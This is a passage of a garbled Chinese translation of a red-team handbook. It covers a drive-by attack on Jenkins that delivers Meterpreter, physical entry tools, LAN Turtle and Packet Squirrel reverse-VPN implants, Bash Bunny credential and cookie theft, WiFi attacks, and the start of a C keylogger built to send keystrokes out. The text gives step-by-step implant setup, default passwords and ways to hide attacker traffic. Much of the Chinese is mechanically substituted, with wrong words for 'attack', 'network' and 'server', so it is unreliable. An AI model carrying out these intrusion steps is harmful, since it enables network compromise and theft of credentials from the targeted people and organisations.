下载 THP Jenkins 疏忽应用器具( )。 要践诺该实验,咱们最先需要创建一个 Meterpreter payload: 加密咱们的 Meterpreter 二进制文献: 创建咱们的坏心 JavaScript 页面定名为badware.html: 将加密的二进制和坏心 JavaScript 页面齐移动到 Web 目次:现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器造访你的障碍者网页:http://<attacker_IP>/badware.html 。只需造访该坏心页面,你的浏览器就和会过咱们的 Groovy payload,使用 JavaScript 和 POST 苦求对你的里面 /24 蚁集经由8080端口进行障碍。当它找到一个 Jenkins 劳动器时,它将导致该劳动器下载咱们的加密 Meterpreter ,解密并践诺它。在公司蚁集中,你最终可能会得到大批不同的 shell 。
任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码践诺的场景齐可以使用此种障碍手法。对于此类障碍,你需要细目受害者在里面使用哪些应用步调并制定你的坏心障碍。
本章总结社会工程学障碍是一种雷同于猫捉老鼠的游戏。这种障碍在很大程度上依赖于东说念主的身分,并对准东说念主性中恐慌、紧迫和易于轻信等弊端。通过应用这些东说念主性的疏忽,咱们可以创建相称秘籍的入侵行动,这些入侵行动在系统障碍方面具有很高的成功率。
在揣度圭臬和主义方面,咱们需要从颓唐恭候用户、呈报垂纶网页/垂纶电子邮件等的关总共据这样的反应模子中跳脱出来,转而领受主动模式。咱们可以积极狩猎、主动发起包括但不限于以上先容的这些类型的坏心社工障碍。
第6章 短传——物理造访障碍作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检查他们的门和安保设施是否及格。在得到了授权的前提下可以进行现场测试,以细目他们警卫的反应和响适时辰。
快速说明:在进行任何物理评估之前,请务必与当地、州和联邦法律核实。举例,在密西西比州、俄亥俄州、内华达州或弗吉尼亚州,只是是持有开锁器具就可能是犯罪的。我不是讼师,是以你最好先参谋一下专科法律东说念主士。此外,确保你得回适当的批准,尽量与该机构的物理安全团队协同责任,并有一个书面的免责核准文献,以防被巡警抓到后需要承担额外的法律背负。在执行参与之前,要与该机构的物理安全团队谋划如果保安收拢你,你是否可以潜逃,或是立马住手。以及还要扎眼,该公司是否装配了无线电监听。临了,确保警卫不会将你的查考行动上报到当地规则部门,毕竟谁齐不想去蹲号子。
现在,是时候侵入 Cyber Space Kittens 的微妙基地了。从他们网站上预留住来的信息看,他们的执行位于 299792458 Light Dr。应用谷歌街景作念了一番窥探后,咱们扎眼到他们有一个大门,还有一两个警卫室。在翻越栅栏前,咱们需要了解多个可能的进入点和进入区域。通过初步不雅察,咱们还发现了一些录像头、门、进口点和读卡器系统。
ID 卡复制器上一版书里,讲了许多关系 ID 卡复制器的东西,是以在本书中我将把重心放在更新的内容上。在大多数情况下,那些由 HID 公司坐蓐的、不需要任何独到/公开捏手认证的感应卡,咱们仍然可以很纵容地克隆它们,并暴力破解它们的 ID 号。
上一版书里,我提到了我很心爱复制 ProxCard Ⅱ 卡,因为它们莫得任何保护措施,是以易于克隆。况兼 ProxCard Ⅱ 卡一般齐可以成批购买,用来暴力破解,简直再浅显不外。破解的过程齐是基于 Proxmark3 器具完成的。现在,它发布了一个主打便携的新式号,叫 Proxmark3 RDV2 Kit。新版的可插电板用,况兼体积也工整许多。
还有一些常见的可供破解的卡:
HID iClass (13.56 MHz) HID ProxCard (125 kHz) EM4100x (125 kHz) MIFARE Classic (13.56 MHz)可以参考这篇博客了解更多:RFID Hacking with The Proxmark 3
绕过进口点的物理器具本书不会深入研究物理器具及其操作方法,因为纸上得来终觉浅,若要确凿深入了解物理器具及其操作方法,实践是最好的淳厚。进行物理评估的最好方法,一直齐是实践、建立物理实验环境,搞真切哪些方法可行,哪些不可行。我来清点一下昔时咱们团队用过的一些很酷的器具:
Lock Picks —— SouthOrd 公司坐蓐的开锁器具一直是咱们的首选。质地好,效果好。 Gate Bypass Devices —— 用来绕过锁着的门的器具。 Shove-it Tool —— 毛糙的器具,用于门和门闩之间有鼓胀的空间的情况下。雷同于贴卡打开感应门,你使用此器具拉开锁里的活塞。 Under the Door 2.0 —— 拉开带有手柄的门的器具。咱们可以用 Under the Door 器具从门下径直进去,绕着把手,然后往下拉。在昔时旅店中通常会装配这种门,但咱们肯定也会在业务中遭遇这种门。 Air Canisters —— 这是一个价钱低廉又构造毛糙的器具,可以通过里面的开通传感器打开门锁。望望这段视频,望望 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE记着,使用这些器具和物理评估的目的是追踪并监控公司物理安全的问题,并得到反馈。因此,咱们不仅要确保充分纪录了系统中的劣势,还要查考事件的响适时辰和处理措施是否是可以接受的。
LAN TurtleLAN Turtle 是我最心爱的器具之一,由 Hak5 公司坐蓐。前书中咱们研究了如何把树莓派和 ODROID 作为障碍火器:给这些设备装配 Kali Linux 系统,让它们通过 SSH 或者 VPN 结合到咱们的障碍者机器中,这是作念物理渗入测试的一个好方法。
多年来,这些器具一直在络续逾越。现在,LAN Turtle 工整到可以藏在职何设备的后头,依赖 USB 供电,让用户难以纵容觉察。LAN Turtle 的 USB 网卡可代理以太网的扫数流量。
LAN Turtle 还有一个无线蜂窝版(救助SIM卡),暂且不提。
接济 LAN Turtle: LAN Turtle 的目的是取代 dropbox(一款可以同步腹地文献的蚁集存储在线网盘应用)。尽管它带有许多其他功能和应用步调器具,如自动结合 SSH、DNS 诳骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等,但红队使用的主邀功能是“使用 LAN Turtle 得回进上钩络的权限”。
昔时,以至在前几版书中,咱们使用 SSH 反向代理 shell。这样日常管用,但对于更深入的扫描/复杂的障碍,咱们需要完全造访蚁集。为此,咱们必须成立反向的 VPN 结合。那么,怎样进行反向 VPN 结合?
是这样的,因为 LAN Turtle 会被插入入侵主义组织内网中的某个台式机的后头,是以咱们不成径直结合到它。因此,咱们将让 LAN Turtle 最先通过端口 443 外连到 VPN,然后作为劳动器复返到咱们的 OpenVPN 。从咱们用来作念障碍的 Kali 机器中,咱们也必须登录进 VPN 劳动器。一朝 LAN Turtle 和咱们的障碍者机器齐通过VPN 结合到咱们的劳动器中,咱们就可以把流量从 LAN Turtle 转发到障碍机器来进行扫描或疏忽应用。
天然 OpenVPN 反向代理通说念不是什么新时期,但 Hak5 的团队在整合教程方面作念得相称好。我不得不修改了以下一些呐喊,如果你想了解更多,请不雅看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。
具体的使用智商主如果以下三步:
在 Internet 上成立一个 OpenVPN 造访劳动器(OpenVPN AS); 其次,成立 LAN Turtle ; 临了,成立障碍者机器 。接济运行 OpenVPN 劳动的 VPS :
咱们要确保咱们的 VPN 劳动器对外提供劳动。咱们日常心爱在 VPS 劳动器提供商上托管咱们的 VPN 劳动器,因为它们相称容易和快速接济。提前警告一声,请向你的 VPS 提供商参谋,确保他们允许你搞事。 常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速率快、价钱低廉且易于接济。AWS Lightsail VPS 就可以,采纳它的另一个原因是:有许多障碍者齐会领受 AWS 作念障碍,躲在这些如巨流般的流量背后,受害者将更难以察觉是谁障碍他们的。 去 Lightsail.aws.amazon.com 创建一个新的 VPS 创建后,转到“管制”->“联网” 添加两个安全组接济 TCP 端口(443和943) 创建 VPS 劳动器后,登录: 确保 chmod 600 你的 SSH 密钥并登录到你的劳动器 ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP] 通过 SSH 进入劳动器之后 切换到 root 用户: 更新劳动器: 装配 OpenVPN AS。请点击此处查找最新版块 复制连气儿并下载到 VPS 。示例: 装配 OpenVPN AS: 删除当前成立文献并成立 OpenVPN : /usr/local/openvpn_as/bin/ovpn-init 装配过程中: 确保为扫数接口接济管制员界面 将“通过里面数据库使用腹地身份验证”接济为“是” 更新 OpenVPN 密码: passwd openvpn 将943端口的 IPTables 接济为仅允许来自你的蚁集的结合接济 OpenVPN 劳动器:
转到 https://[vps劳动器的IP地址]:943/admin/ 使用用户名 “openvpn” 和你刚刚接济的密码登录 如果使用的是 AWS Lightsail: 转到劳动器蚁集接济,确保:主机名或IP地址是正确的公网 IP 地址,而不是独到 IP 地址 保存并更新 验证身份验证是否接济为腹地: Authentication -> General -> Local -> Save Settings -> Update Server 创建两个启用了“允许自动登录”的用户(我创建的是 lanturtle 和 redteam): User Management -> User Permissions 对于每个用户: 接济允许自动登录 确保为这两个用户齐分别接济密码 对于 lanturtle 帐户,为了允许通过 VPN 结合,咱们需要启用一些权限: 确保在用户权限选项下启用/成立: 扫数劳动端独到子网 扫数其他的 VPN 客户端下载 OpenVPN 成立文献:
结合下载成立文献: https://[你的VPS]:943/?src=connect 对于每个用户( redteam 和 lanturtle ) 登录并下载个东说念主贵府(自动登录成立文献) 分别保存为 turtle.ovpn 和 redteam.ovpn接济 LAN Turtle 和驱动成立:
插入 USB 况兼自动连上钩络 nmap 扫描腹地 22 端口 nmap x.x.x.x/24 -p22 -T5 --open 通过 SSH 结合 root 用户(root@[ip]),密码为 sh3llz 更新你的 LAN TURTLE 调动 MAC 地址很浩瀚。LAN Turtle 使用雷同制造商的 MAC 地址,是以你要作念些修改来确保你看起来像个随机的设备: 调动你的 MAC 地址 装配 OpenVPN : 采纳 Modules -> Select -> Configure -> Directory ,然后点击细目 装配 OpenVPN 接济你的 OpenVPN 成立文献: 复返 Modules-> OpenVPN -> configure->粘贴扫数来自 turtle.opvn 的内容并保存 咱们还但愿确保 LAN Turtle OpenVPN 劳动器在劳动器启动时自动开启运行: 采纳 Modules-> OpenVPN ->Enable 临了,咱们需要修改 LAN Turtle 上的防火墙规则: 退出 Turtle 菜单并剪辑防火墙规则(使用 nano 文本剪辑器剪辑 /etc/config/firewall 文献) nano /etc/config/firewall 接着,在文献中修改 vpn 这一部分的接济 确保“option forward”接济为“ACCEPT” 添加以下成立转发规则: 成立转发 option src wan option dest lan 成立转发 option src vpn option dest wan 成立转发 option src wan option dest vpn 从头回到 Turtle 菜单 -> Modules -> openvpn -> start 上头的操作应该会启动咱们的 Turtle 上的 OpenVPN 客户端。为了确保接济见效,回到咱们的 OpenVPN AS 劳动器并检查结合。咱们现在还是成立了 LAN Turtle,这样每当它结合到一个蚁集时,它就会回连到咱们的 VPN 劳动器。况兼咱们可以通过 SSH 连进 LAN Turtle 了。让咱们通过一个例子来感受一下这个过程:
从 Kali 障碍主机造访 VPN 劳动器:
openvpn -config ./redteam.ovpn
获取对方所在蚁集的IP地址,以便从咱们的 redteam vpn 传输扫数流量。
SSH 进入 LAN Turtle 退出 Turtle 菜单,获取受害者蚁集里面接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(播送地址)策动出 IP 范围。在咱们的示例中,Turtle 所在的蚁集是 10.100.100.0/24临了,开启流量转发:
复返 OpenVPN AS并剪辑 lanturtle 这个用户 用户权限(User Permissions)页面->搜索用户名 lanturtle->骄贵 将 VPN 网关剪辑为“是”并添加里面范围(举例 10.100.100.0/24) 保存并更新通过 LAN Turtle 上的 SSH 结合,使用 reboot 呐喊重启
现在,咱们可以让障碍机透过在 LAN Turtle 上架设的 VPN 通说念,将咱们的扫数流量传输到受害者公司内网。鄙人图中,咱们登录进入 VPN 劳动器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的里面蚁集。咱们可以看到,咱们还是成功地成立了从 VPN 网关通过 LAN Turtle 到公司蚁集的路由传输。现在,在 Kali 障碍机上头,可以运行完整的疏忽扫描、蚁集抓取、Masscans 扫描以至更多其他操作。
好的!现在你有了一个快速插入的设备,它让你与受害者蚁集保持全局结合。为了作念的更好,还可以完善一下:
接济一个每天重启设备的定时任务。VPN 纯正结合可能会断开,但每当 LAN Turtle 从头启动时,VPN 结合会从头启动。 某些公司紧闭了某些可通往外网的端口。在本例中,咱们使用了443端口,在许多环境中,这个端口可以和外网通讯。对于使用 Web 代理的某些公司蚁集,可能会阻难通过 443 端口径直结合外网。可能需要成立 LAN Turtle ,以在启动结合时,自动尝试多个不同的端口或条约(TCP/UDP)。 如果要装配两个或更多设备,请确保这些设备的 VPN 劳动器和 MAC 地址是不一样的。曾有几个真实的案例,咱们的设备险些在每次入侵时齐被发现了,关联词这完全是偶然事。原因是 IT 基础设施正在被移动或者更换了策动机。 Packet SquirrelPacket Squirrel 使用 Micro-USB 接口充电,然则并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel 两头齐接网线,这是另一种拿获流量或创建 VPN 结合的方式。
成立 Packet Squirrel 的方法和 LAN Turtle 差未几;
剪辑 /root/payloads/switch3/payload.sh FOR_CLIENTS=1 剪辑 /etc/config/firewall 对防火墙进行其时你为 LAN Turtle 所作念的完全同样的调动 将 LANTurtle.ovpn 文献上传到 /root/payloads/switch3/config.ovpn现在你有了另一个和 LAN Turtle 有雷同功能的设备,一朝结合到蚁集,就会有一个反向的 VPN 结合,从你这儿结合回对方公司。
对了,你还可以对 Packet Squirrel 进行我方的升级和优化,如果你把它琢磨透了的话,就可以用 SWORD(software optimization for the retrieval of data, 数据检索软件优化)减弱地将 Packet Squirrel 调换为基于 OpenWRT 的渗入测试器具箱( https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5 )。
参考资源:
https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections -to-install-openvpn-access-server-on-ubuntu-15-10/ https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/ https://www.hak5.org/gear/packet-squirrel/docs Bash Bunny前书中咱们谋划了 Rubber Ducky 以及它是如何模拟 HID 设备(如键盘)来存储呐喊。对红队成员而言,Rubber Ducky 仍然是个可以的器具,因为它可以加快 PowerShell 呐喊的传递,用于社会工程学障碍,况兼可以在莫得键盘但有 USB 插槽的柜台系统(如 ATM 机、自动售货机等)上作念相差侵操作。
Bash Bunny 是 Rubber Ducky 的升级版块。它不仅可以践诺 HID 障碍(HID 是 Human Interface Device的缩写,兴趣是东说念主机接口设备),还有许多其他操作。Bash Bunny 有两个落寞的接济选项来分别保存对 BunnyTap 和 QuickCreds 这两种障碍的接济(以及一个额外的管制接济)。这些 payload 可以践诺障碍来窃取凭证、进行蚁集垂纶、践诺 Ducky 障碍、运行 PowerShell 呐喊、践诺扫描和窥探、践诺 Metasploit autopwn 等。
译者注 :HID Attack 是最近几年流行的一类障碍方式。HID 是 Human Interface Device的缩写,兴趣是东说念主机接口设备。它是对鼠标、键盘、游戏手柄这一类可以操控电脑设备的统称。由于电脑对这类设备贫寒严格的检测措施,只是毛糙的识别设备类型,就允许设备对电脑进行各项操作。是以,通过修改批改设备反馈信息,就可以很减弱的让电脑将其他设备误认为 HID 设备,从而获取收敛权限。尤其是 USB 和蓝牙这类即插即用接口出现,导致 HID Attack 成为浩瀚方式。举例,Bad USB 即是 USB 类障碍的典型代表。参考贵府:WHID Injector:将 HID 障碍带入新田地
前书,咱们谈到了使用 KonBoot 来绕过你莫得密码的机器。KonBoot 在未加密的机器上责任时,可以从 U 盘启动并覆写腹地管制员的密码。尽管这个操作需要完整地重启客户机,但一朝重启完成,你就可以无用借助任何凭证的造访被障碍的机器。咱们团队一直使用 KonBoot 况兼取得了很好的效果。是以如果你还没尝试过 KonBoot 的话,不妨一试。
然则,仍然有两个事理使你不想采纳 KonBoot:
此障碍在加密的策动机上不起作用; 你可能不想重启受害者的策动机。那么如何从被锁定的系统中获取信息,以造访蚁集上的其他内高兴者取得哈希、身份凭证?这即是 Bash Bunny 初显技艺的地点。咱们将使用 Bash Bunny 运行两种不同障碍的 payload。在咱们可以进入该主义组织的机房的前提下,这两种障碍齐允许咱们从一个被锁定(或未锁定)的系统中获取信息。底下演示如何使用 BunnyTap 和 QuickCreds 。
闯入 Cyber Space Kittens几个小时后你终于进到 Cyber Space Kittens 部门内。没被东说念主察觉,是以你有几小时的时辰来进行入侵行动。你入侵第一台机器,装上 KonBoot 并重启机器,但你扎眼到这些机器的系统是加密的。然后你转到下一台处于屏幕锁定保护状态的策动机。你两次插入 Bash Bunny,运行 BunnyTap 和 QuickCreds 。几分钟后,通过运行 Responder,QuickCreds 采集到了Net-NTLMv2 哈希值。将它放进 Hashcat 运行,倏得钟就破解了用户密码!在咱们无法获取或破解哈希的机器上,BunnyTap 会运行 PosionTap,它可以对常见的站点拿获 cookie,这可以用于对里面应用步调进行成立。咱们把这些窃取到的 cookie 保存到咱们的障碍者条记本电脑,将咱们的障碍者条记本电脑结合到他们的蚁集,用腹地保存的窃取到的 cookie 来替换明锐 Web 应用步调中现在的cookie,这样咱们就在不知说念密码的情况下获取了这些 Web 应用步调的造访权限。
在 Kali 环境下接济 Bash Bunny
下载最新固件:https://bashbunny.com/downloads 将 Bash Bunny 的开关3(最围聚 USB 端口阿谁)接济为启用模式。 将下载的固件放在 USB 挂载的根目次, 拔出 Bash Bunny,再从头插入,然后恭候大要 10 分钟,直到它呈蓝色精明。 完成后,从头进入 Bash Bunny 并剪辑 payloads>switch1>payload.txt 这个文献。# System default payload LED B SLOW ATTACKMODE ECM_ETHERNET STORAGE拔出你的设备 在你的 Kali 系统中,接济 Internet 分享:
wget bashbunny.com/bb.sh chmod +x bb.sh ./bb.sh Guided Mode(是以选项齐保留默许值)在 Bash Bunny 上,打开开关1(离 USB 插孔最远的阿谁开关)上,然后插入。完成后,请确保结合到 Bash Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
登陆进入你的 Bash Bunny
在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny ssh root@172.16.64.1 让咱们更新 Bash Bunny 并装配一些器具 在 Kali 机器的另一个终局上,装配你想要的扫数模块。git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads你可以采纳任何类型的 payload ,然则在咱们的例子中,咱们将使用 BunnyTap 和 QuickCreds 这两个 payload 来接济 Bash Bunny
cp -R /opt/bashbunnypayloads/payloads/library/credentials/BunnyTap/* /media/root/BashBunny/payloads/switch1/ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/root/BashBunny/payloads/switch2/
扎眼,在 switch1 和 switch2 文献夹中齐有一个名为 payload.txt 的文献。而对于每一个这个文献,你需要将其成立为障碍 Windows 或 Mac 策动机。对于 Windows 机器,确保 AttackMode 接济为 RNDIS_ETHERNET,对于 Mac,将 AttackMode 成立为 ECM_ETHERNET。
QuickCredsQuickCreds 是一个很棒的器具,它使用 Responder 障碍从锁定和未锁定的机器上拿获 NTLMv2 Challenge 哈希。假设你在作念一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash Bunny ,每台机器恭候大要 2 分钟。Bash Bunny 将接收蚁集适配器,使用 Response 从头传输任何分享和身份验证苦求,然跋文录这些数据。它将扫数凭证保存到 USB 磁盘上的 loot 文献夹中。
译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 先容
参考贵府:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds https://room362.com/post/2016/snagging-creds-from-locked-machines/ BunnyTapBunnyTap 基于由 Samy Kamkar 开发的闻明器具 PoisonTap ( https://www.youtube.com/watch?v=Aatp5gCskvk )。PoisonTap 是一个相称优秀的器具,即使是在锁定的机器上,也可以践诺以下操作:
通过 USB(或 Thunderbolt )模拟以太网设备。 劫持扫数来自机器的蚁集流量(尽管是通过低优先级或未知的蚁集接口)。 从 Web 浏览器中索要和存储位居 Alexa 排名榜最受迎接的前100,0000 站的 HTTP cookie 和会话。 将里面路由器透露给障碍者,这样障碍者就可以通过结合外网的 WebSocket 和 DNS 从头绑定障碍来长途造访里面路由器。(感谢 Matt Austin 提供的对于“DNS 从头绑定障碍”的念念路!) 在 HTTP 缓存中,为数十万个域名和常见的 JavaScript CDN URL 装配一个基于 Web 的耐久后门。通过缓存投毒的方式,咱们可以获取用户对于这些资源的 cookie 。 允许障碍者通过在职何有后门的域中获取的用户 cookie,来长途强制用户来发起 HTTP 苦求(包括 GET 和 POST)和通过代理传回响应。 不需要将机器解锁。 后门和长途造访权限即使在设备被移除且障碍者离开后仍然存在( https://samy.pl/poisontap/ )。从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后恭候大要2分钟。Bash Bunny 会让电脑中的扫数流量齐走 Bash Bunny 转发。如果他们有一个打开况兼行为的浏览器(如告白或任若何期更新的页面),BunnyTap 将启动并向扫数 Alexa Top 100,0000 网站发出苦求。此时,受害者用户若登录到这些站点中的任何一个,BunnyTap 将拿获受害者的扫数 cookie。现在,咱们可以将这些 cookie 发还到我方的策动机上,把咱们的 cookie 替换成他们的,这样即可在不知说念他们密码的情况下,冒充他们的身份进上钩站。
请务必观望扫数 Bash Bunny 的 payload:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library WiFiWiFi 障碍方面,咱们障碍受害者的方式莫得什么大变化。天然 WEP 加密蚁集的使用显赫减少,但障碍方式仍包括反认证、aireplay-ng 和拿获 IV 数据包。对于 WPA 无线蚁集,最好的障碍妙技,依旧是对客户端进行反认证 、拿获捏手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试屡验。器具方面,我最爱的器具是 Wifite2 的完全重写的版块,这个新版块带有一个 Alfa AWUS036NHA 无线网卡。这是一个相称易于使用的接口,可以救助多种障碍,基于 aircrack 器具套装,令它可以很容易地破解拿获的哈希值。
对于发动 WiFi 障碍的装备,除了使用一双 Alfa 无线网卡,践诺愈加隐敝的 WiFi 障碍的毛糙方法是使用 WiFi Pineapple Nano。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通讯旅途,用伪造页面拿获身份验证,践诺扫数的中间东说念主障碍,运行 Responder 和其他障碍的话,WiFi Pineapple Nano 是一个能践诺此操作的轻量级硬件器具。
除了 Pineapple,还有其他一些器具可以用来障碍公司蚁集。其中一个即是 eaphammer。
eaphammer 的功能:
从 WPA-EAP 和 WPA2-EAP 蚁集窃取 RADIUS 凭证。 践诺坏心派别障碍,以窃取 AD 凭证,并践诺波折无线枢轴。 践诺 captive portal 障碍。 内置响应器集成。 救助怒放蚁集和 WPA-EAP/WPA2-EAP。 大多数障碍无需手动成立。 装配和接济过程无需手动成立。 使用最新版块的 hostapd(2.6)。 救助坏心的 twin 障碍和 karma 障碍。 为波折无线枢轴生成定时 PowerShell payload。 针对坏心派别障碍的集成 HTTP 劳动器。 救助 SSID 荫藏。eaphammer 最好的地点是使用自界说障碍功能来践诺 responder 障碍或拿获 NTLM challange 身份验证哈希以进行破解( https://github.com/s0lst1c3/eaphammer#iii---stealing-ad-credentials-using-hostile-portal-attacks ) 以及波折的无线枢轴( https://github.com/s0lst1c3/eaphammer#iv---indirect-wireless-pivots )。
为幸免读者没看到上头的谛视,是以译者再次注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 先容
本章总结物理障碍是最兴趣的事情之一。这会加快你的肾上腺素分泌,让我方合计像个违警,遑急地想行恶。在咱们的许多红队行动中,咱们可能会花上几天的时辰来为一家公司进行踩点,不雅察警卫的轮流,并弄真切他们齐有什么类型的门。咱们可能会尝试拍摄他们的工卡的像片,纪录东说念主们离开大楼的时辰,并找出能让咱们进入大楼的薄弱要津。
从红队的角度来看,咱们不仅要不雅察他们物理设施方面的安全薄弊端,也要扎眼他们里面的东说念主。
如果触发了警报,关系职工要过久才能觉察并叮嘱? 录像头是否开启全天候监控?是这样的话,如果发现什么可疑,到关系东说念主员来排查,能有多漫空余时辰? 有东说念主守护后门等其他的不常用出口吗? 如果萍踪表示,你有办法脱身吗? 如果改扮打扮成该公司(或任何为该公司提供第三方劳动)的职工,对方公司会对你的入侵行动作念什么反应?
临了要扎眼的是,在开首入侵行动之前,确保要有一个明确的障碍范围、一封入侵主义公司给你作念的书面授权解释、首席安全官或物理设施安全负责东说念主的电话号码,并确保与对方达成共鸣、进行合作。准备措施作念得越好,就能更好的幸免不必要的误解和费事。然则因为这终究是一种危机的请托,是以我也无法保证全心准备就一定能万无一失。
第7章 四分卫突破——逃匿杀毒软件和蚁集检测 为红队行动编写器具红队东说念主员和渗入测试东说念主员比较显著的区别之一即是红队东说念主员能快速的稳妥并清醒不同的防护。非论是清醒初级语言(机器代码和汇编语言),编写shellcode,创建自界说的 C2 二进制可践诺文献,照旧修改代码来荫藏坏心步调,它们齐是咱们(红队)日常责任的一部分。我老是遭遇不会编程的渗入测试东说念主员,天然这不是一项硬性要求,然则编程水平确乎会决定他们专科成长的高度。 因此,我专门编写这一章节来给那些莫得使用过偏向底层的初级语言编程的东说念主一个讲究的初学标的。
基础的键盘纪录器键盘纪录器是扫数渗入测试东说念主员 / 红队东说念主员的必备器具,本节将领导你制作通用的键盘纪录器。 有时咱们只想持续监控某个用户或获取其他凭证。 这可能是因为咱们此时无法进行任何类型的横向移动或者权限耕作,或者咱们可能只想监视用户以便更好开展将来的入侵行为。 在这些情况下,咱们日常心爱扬弃一个持续在受害者系统上运行的键盘纪录器并将键盘纪录的数据发送到外网。 以下示例只是一个 POC ,本实验的目的是让你从这里了解基础常识和构建它们。 它全部用 C 语言(较底层的语言)来编写的原因是保持二进制文献相对较小、更好的系统收敛、况兼遁藏杀毒软件。 在之前的书中,咱们使用 Python编写了一个键盘纪录器并使用 py2exe 对其进行编译以使其成为二进制文献,但这些很容易就被检测到。 让咱们来看一个稍许复杂的例子。
接济你的环境这是在 C 中编写和编译以生成 Windows 二进制文献并创建自界说键盘纪录器所需的基本接济。
在一个臆造机中装配 Windows 10 装配 Visual Studio ,以便你可以使用呐喊行编译器和使用 Vim 进行代码剪辑到咫尺为止,Windows API 编程的最勤学习资源是微软我方的开发者蚁集网站 MSDN。 MSDN 是一个相称宝贵的资源,它详备说明了系统调用,数据类型和结构界说,并包含了许多示例。通过阅读微软出书社出书的《Windows Internals》册本,可以更深入地了解 Windows 操作系统, 天然这个样子中并不是特别需要这个。 对于学习 C 语言,有一册好书,C 语言的创举东说念主之一参与了对此书的撰写,名为《C语言步调瞎想》(The C Programming Language),书的作家是 Kernighan 和 Ritchie。临了,可以阅读《Beej’s Guide to Network Programming》,有印刷版和在线版,这是 C 语言中对于的 socket 编程的一册很好的初学读物。
从源码编译在这些实验中,将会有多个示例代码和例子。实验室将使用微软的 Optimizing Compiler 编译代码,该编译器随 Visual Studio 社区版块一说念提供,并内置于 Visual Studio 开发者呐喊领导符(Visual Studio Developer Command Prompt)中。装配 VS 社区版块后,请通过 器具(Tools) --> 获取器具和功能(Get Tools and Features) 装配 C++ 的组件 通用 Windows 平台开发和桌面开发。要编译示例源码,请打开开发者呐喊领导符的一个实例,然后切换到包含源代码文献的文献夹目次。 临了,运行呐喊 cl sourcefile.c io.c。这将生成一个与源文献同名的可践诺文献。
编译器默许为 32 位,但此代码也可以用64位进行编译。要编译64位步调,请运行位于 Visual Studio 文献夹中的批处理步调。在呐喊领导符中,切换到目次 “ C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build ” ,扎眼,这个目次可能会因为你的 Visual Studio 版块而改变(然则大致是以上目次)。然后,运行呐喊 vcvarsall.bat x86_amd64 ,这将接济 Microsoft 编译器编译 64 位的二进制文献而不是编译成 32 位的。现在,你可以通过运行 cl path/to/code.c(path 是源码文献的统统旅途)来编译代码。
示例框架该样子的主义是创建一个键盘纪录器,应用 C 语言和底层 Windows 功能来监视击键。该键盘纪录器使用 SetWindowsHookEx和 LowLevelKeyboardProc 函数 。 SetWindowsHookEx 允许在腹地和全局高下文中接济各式类型的 Hook(钩子)。在这种情况下,WH_KEYBOARD_LL参数将用于索要底层键盘事件 。 SetWindowsHookEx 的函数原型看起来像这样( ):
该函数创建了界说为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。前两个值是最浩瀚的。你行将要装配的 hook 的 ID 数据类型是整型。Windows 会在功能页面上列出的可用 ID 。在咱们的例子中,将使用 ID 13 或 WH_KEYBOARD_LL 。HOOKPROC 是一个指向回调函数的指针,每次被钩住的程度接收数据时齐会调用该函数。这意味着每次按下一个键,齐会调用 HOOKPROC。这是用于将击键写入文献的函数。hMod 是包含 lpfn 指针指向的函数的 DLL 的句柄。此值将接济为 NULL,因为函数与 SetWindowsHookEx 在并吞程度中使用。dwThreadId 将接济为0以将回调与桌面上的扫数线程关系联。临了,该函数复返一个整数,该整数将用于验证 hook 是否已正确接济或以其他方式退出。
第二部分是回调函数。回调函数将为此键盘纪录器完成一系列贫窭的责任。此函数将处理接收击键,将其调换为 ASCII 字符以及纪录扫数文献操作。 LowLevelKeyBoardProc( )的原型如下所示:
让咱们回顾一下 LowLevelKeyBoardProc 所需的内容。该函数的参数是一个整数,告诉 Windows 如何解释该音书。这些参数中的两个是:
wParam,它是音书的象征符 lParam,它是指向 KBDLLHOOKSTRUCT 结构体的指针wParam 的值在功能页面中指定。还有一个页面描绘了 KBDLLHOOKSTRUCT 的成员。lParam 的 KBDLLHOOKSTRUCT 的值称为 vkCode 或 Virtual-Key Code( )。这是按下的键的代码,而不是执行的字母,因为字母可能会根据键盘的语言而有所不同。vkCode 需要稍后调换为相应的字母。现在不要着急把参数传递给咱们的键盘回调函数,因为它们将在激活 hook 时由操作系统传递。
临了,挂钩键盘的驱动架构代码如下所示:https://github.com/cheetz/ceylogger/blob/master/skeleton
